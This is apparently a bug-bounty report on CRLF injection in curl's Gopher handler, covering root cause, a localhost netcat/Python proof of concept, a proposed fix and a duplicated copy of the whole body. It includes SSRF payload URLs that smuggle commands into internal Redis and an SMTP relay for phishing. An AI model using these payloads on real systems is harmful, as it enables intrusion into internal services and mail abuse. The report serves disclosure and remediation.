Description
## Summary
The `curl` Gopher protocol handler is vulnerable to command injection through URL-encoded CRLF sequences in the path. This allows an attacker to "smuggle" additional Gopher selectors or arbitrary commands into a single Gopher request. By using `%0d%0a` in the URL, an attacker can break the line-delimited Gopher protocol and force `curl` to send multiple distinct request lines to the server.
## Affected Component
- **File:** `lib/gopher.c`
- **Function:** `gopher_do`
- **Line:** 101
- **Vulnerable Code:** `Curl_urldecode` call with `REJECT_ZERO` flag
## Vulnerability Details
### Root Cause
In `lib/gopher.c`, the Gopher protocol handler extracts the selector from the URL and decodes it using `Curl_urldecode` with the `REJECT_ZERO` flag:
```c
/* lib/gopher.c:101 */
result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_ZERO);
```
The `REJECT_ZERO` flag only prevents null bytes (`%00`) from being decoded. All other control characters, including:
- Carriage Return (`%0d` / `\r`)
- Line Feed (`%0a` / `\n`)
are decoded into the raw buffer `buf_alloc` and subsequently sent to the server.
### Attack Mechanism
The Gopher protocol is line-delimited. After decoding the selector, `curl` sends it to the server followed by a hardcoded CRLF:
```c
/* lib/gopher.c:110 */
result = Curl_xfer_send(data, buf, buf_len, FALSE, &nwritten);
...
/* lib/gopher.c:156 */
result = Curl_xfer_send(data, "\r\n", 2, FALSE, &nwritten);
```
If an attacker provides a URL like:
```
gopher://example.com/1/selector%0d%0aINJECTED_COMMAND
```
The resulting network transmission will be:
```
selector\r\n
INJECTED_COMMAND\r\n
```
A standard Gopher server processes each line independently, so it will see:
1. A request for `selector`
2. A second, attacker-controlled request for `INJECTED_COMMAND`
## Proof of Concept
### Step 1: Start a Listener
Open a terminal and start a netcat listener to observe the raw protocol traffic:
```bash
nc -l -p 7070
```
### Step 2: Execute the Attack
In another terminal, run curl with the malicious Gopher URL:
```bash
curl -v "gopher://localhost:7070/1/first-command%0d%0asecond-command"
```
### Step 3: Observe the Result
In the netcat listener terminal, you will see two distinct lines:
```
first-command
second-command
```
This proves that the attacker can inject arbitrary commands into the Gopher protocol stream.
### Alternative PoC (Python)
You can also use this Python script to verify:
```python
import socket
# Start a simple Gopher server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', 7070))
s.listen(1)
print("Gopher server listening on port 7070...")
conn, addr = s.accept()
data = conn.recv(1024).decode()
print("=== Received Data ===")
print(repr(data))
print("\n=== Parsed Lines ===")
for line in data.split('\r\n'):
if line:
print(f"Command: {line}")
conn.close()
s.close()
```
Run this script, then execute:
```bash
curl "gopher://localhost:7070/1/legitimate%0d%0ainjected%0d%0amalicious"
```
Expected output:
```
=== Received Data ===
'legitimate\r\ninjected\r\nmalicious\r\n'
=== Parsed Lines ===
Command: legitimate
Command: injected
Command: malicious
```
## Impact
### SSRF Enhancement
This vulnerability significantly enhances Server-Side Request Forgery (SSRF) attacks. If a web application allows users to provide a URL that is fetched by `curl`, an attacker can:
1. **Smuggle commands to internal Gopher servers**
- Send multiple queries in a single request
- Bypass rate limiting or logging mechanisms
2. **Communicate with other line-delimited internal services**
- Redis (if accessible via Gopher port or through port confusion)
- SMTP servers
- Memcached
- Custom internal protocols
3. **Bypass security controls**
- WAFs that only inspect the URL path
- Logging systems that record only the initial request
### Attack Scenarios
**Scenario 1: Redis Command Injection**
```
gopher://internal-redis:6379/1/SET%20key%20value%0d%0aGET%20sensitive_data
```
**Scenario 2: SMTP Relay**
```
gopher://mail-server:25/1/MAIL%20FROM:<[email protected]>%0d%0aRCPT%20TO:<[email protected]>%0d%0aDATA%0d%0aSubject:%20Phishing
```
## Recommendation
### Fix
Update `lib/gopher.c` to use `REJECT_CTRL` or `REJECT_CTRL_ZERO` instead of `REJECT_ZERO` in the `Curl_urldecode` call:
```c
/* lib/gopher.c:101 - FIXED */
result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_CTRL);
```
This will prevent the decoding of newlines and other control characters that can be used to manipulate the protocol stream.
### Verification
After applying the fix, the PoC should fail with an error indicating that control characters are not allowed in the URL.
The `curl` Gopher protocol handler is vulnerable to command injection through URL-encoded CRLF sequences in the path. This allows an attacker to "smuggle" additional Gopher selectors or arbitrary commands into a single Gopher request. By using `%0d%0a` in the URL, an attacker can break the line-delimited Gopher protocol and force `curl` to send multiple distinct request lines to the server.
## Affected Component
- **File:** `lib/gopher.c`
- **Function:** `gopher_do`
- **Line:** 101
- **Vulnerable Code:** `Curl_urldecode` call with `REJECT_ZERO` flag
## Vulnerability Details
### Root Cause
In `lib/gopher.c`, the Gopher protocol handler extracts the selector from the URL and decodes it using `Curl_urldecode` with the `REJECT_ZERO` flag:
```c
/* lib/gopher.c:101 */
result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_ZERO);
```
The `REJECT_ZERO` flag only prevents null bytes (`%00`) from being decoded. All other control characters, including:
- Carriage Return (`%0d` / `\r`)
- Line Feed (`%0a` / `\n`)
are decoded into the raw buffer `buf_alloc` and subsequently sent to the server.
### Attack Mechanism
The Gopher protocol is line-delimited. After decoding the selector, `curl` sends it to the server followed by a hardcoded CRLF:
```c
/* lib/gopher.c:110 */
result = Curl_xfer_send(data, buf, buf_len, FALSE, &nwritten);
...
/* lib/gopher.c:156 */
result = Curl_xfer_send(data, "\r\n", 2, FALSE, &nwritten);
```
If an attacker provides a URL like:
```
gopher://example.com/1/selector%0d%0aINJECTED_COMMAND
```
The resulting network transmission will be:
```
selector\r\n
INJECTED_COMMAND\r\n
```
A standard Gopher server processes each line independently, so it will see:
1. A request for `selector`
2. A second, attacker-controlled request for `INJECTED_COMMAND`
## Proof of Concept
### Step 1: Start a Listener
Open a terminal and start a netcat listener to observe the raw protocol traffic:
```bash
nc -l -p 7070
```
### Step 2: Execute the Attack
In another terminal, run curl with the malicious Gopher URL:
```bash
curl -v "gopher://localhost:7070/1/first-command%0d%0asecond-command"
```
### Step 3: Observe the Result
In the netcat listener terminal, you will see two distinct lines:
```
first-command
second-command
```
This proves that the attacker can inject arbitrary commands into the Gopher protocol stream.
### Alternative PoC (Python)
You can also use this Python script to verify:
```python
import socket
# Start a simple Gopher server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', 7070))
s.listen(1)
print("Gopher server listening on port 7070...")
conn, addr = s.accept()
data = conn.recv(1024).decode()
print("=== Received Data ===")
print(repr(data))
print("\n=== Parsed Lines ===")
for line in data.split('\r\n'):
if line:
print(f"Command: {line}")
conn.close()
s.close()
```
Run this script, then execute:
```bash
curl "gopher://localhost:7070/1/legitimate%0d%0ainjected%0d%0amalicious"
```
Expected output:
```
=== Received Data ===
'legitimate\r\ninjected\r\nmalicious\r\n'
=== Parsed Lines ===
Command: legitimate
Command: injected
Command: malicious
```
## Impact
### SSRF Enhancement
This vulnerability significantly enhances Server-Side Request Forgery (SSRF) attacks. If a web application allows users to provide a URL that is fetched by `curl`, an attacker can:
1. **Smuggle commands to internal Gopher servers**
- Send multiple queries in a single request
- Bypass rate limiting or logging mechanisms
2. **Communicate with other line-delimited internal services**
- Redis (if accessible via Gopher port or through port confusion)
- SMTP servers
- Memcached
- Custom internal protocols
3. **Bypass security controls**
- WAFs that only inspect the URL path
- Logging systems that record only the initial request
### Attack Scenarios
**Scenario 1: Redis Command Injection**
```
gopher://internal-redis:6379/1/SET%20key%20value%0d%0aGET%20sensitive_data
```
**Scenario 2: SMTP Relay**
```
gopher://mail-server:25/1/MAIL%20FROM:<[email protected]>%0d%0aRCPT%20TO:<[email protected]>%0d%0aDATA%0d%0aSubject:%20Phishing
```
## Recommendation
### Fix
Update `lib/gopher.c` to use `REJECT_CTRL` or `REJECT_CTRL_ZERO` instead of `REJECT_ZERO` in the `Curl_urldecode` call:
```c
/* lib/gopher.c:101 - FIXED */
result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_CTRL);
```
This will prevent the decoding of newlines and other control characters that can be used to manipulate the protocol stream.
### Verification
After applying the fix, the PoC should fail with an error indicating that control characters are not allowed in the URL.
Basic Information
ID
H1:3508785
Published
Jan 13, 2026 at 13:16
Modified
Jan 14, 2026 at 09:32